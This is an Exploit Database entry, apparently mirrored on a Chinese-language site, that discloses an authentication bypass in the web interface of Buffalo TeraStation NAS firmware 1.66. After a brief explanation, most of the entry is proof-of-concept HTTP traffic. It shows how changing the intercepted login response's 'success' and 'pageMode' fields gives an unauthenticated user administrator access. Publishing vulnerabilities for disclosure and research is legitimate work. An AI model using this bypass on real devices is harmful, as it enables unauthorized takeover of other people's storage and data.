Buffalo TeraStation Network Attached Storage (NAS) 1.66 – Authentication Bypass

• Exploit Database
• 14 阅读

• 作者： Jordan Glover
  日期： 2022-09-20
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/51012/

• # Exploit Title: Buffalo TeraStation Network Attached Storage (NAS) 1.66 - Authentication Bypass
  # Date: 2022-08-11
  # Exploit Author: JORDAN GLOVER
  # Type: WEBAPPS
  # Platform: HARDWARE
  # Vendor Homepage: https://www.buffalotech.com/
  # Model: TeraStation Series
  # Firmware Version: 1.66
  # Tested on: Windows 10 
  
  
  An authentication bypass vulnerability found within the web interface of a Buffalo TeraStation Series Network Attached Storage (NAS) device, allows an unauthenticated malicious actor to gain administrative privileges.
  
  The web interface can be accessed via port 80 or 443 via a web browser. Once accessed you will be presented with a login page, that requires a username and password to gain authentication to the NAS.
  
  Using a proxy tool to intercept the request and responses, it was possible re-intercept the response and modify the JSON data, contained within the body.
  
  If you modify the "success" to 'true' and change "Pagemode" to '0', this will grant you authentication with administrator privileges, to the NAS.
  
  
  POC #1 Authentication Failure
  
  Request
  POST /dynamic.pl HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
  Accept: */*
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  X-Requested-With: XMLHttpRequest
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 45
  Origin: http://localhost
  Connection: close
  Referer: http://localhost/static/index.html
  
  bufaction=verifyLogin&user=Jordan&password=Jordan
  
  
  Response
  HTTP/1.1 200 OK
  Content-type: text/html
  Pragma: no-cache
  Cache-Control: no-store, no-cache, must-revalidate
  Cache-Control: post-check=0, pre-check=0
  Expires: Thu, 01 Dec 1994 16:00:00 GMT
  Connection: close
  Date: Mon, 30 Jun 2008 02:39:51 GMT
  Server: lighttpd/1.4.32
  Content-Length: 94
  
  {"success":false,"errors":[],"data":[{"sid":"zz69c1c4d83023374d0b786d7a5y69b0","pageMode":2}]}
  
  Incorrect Username or Password 
  
  
  
  POC #2 Authentication Success
  
  Request
  POST /dynamic.pl HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
  Accept: */*
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  X-Requested-With: XMLHttpRequest
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 45
  Origin: http://localhost
  Connection: close
  Referer: http://localhost/static/index.html
  
  bufaction=verifyLogin&user=Jordan&password=Jordan
  
  
  Intercepted Response
  HTTP/1.1 200 OK
  Content-type: text/html
  Pragma: no-cache
  Cache-Control: no-store, no-cache, must-revalidate
  Cache-Control: post-check=0, pre-check=0
  Expires: Thu, 01 Dec 1994 16:00:00 GMT
  Connection: close
  Date: Mon, 30 Jun 2008 02:39:51 GMT
  Server: lighttpd/1.4.32
  Content-Length: 94
  
  {"success":true,"errors":[],"data":[{"sid":"ag69c5f4x43093374d0c786k7a9y59h0","pageMode":0}]}
  
  Login Successful